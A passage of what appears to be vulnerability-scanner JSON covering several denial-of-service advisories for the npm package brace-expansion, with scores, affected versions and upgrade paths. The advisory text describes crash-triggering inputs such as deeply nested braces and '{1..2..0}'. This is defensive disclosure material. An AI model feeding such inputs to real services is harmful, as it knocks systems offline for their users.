"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
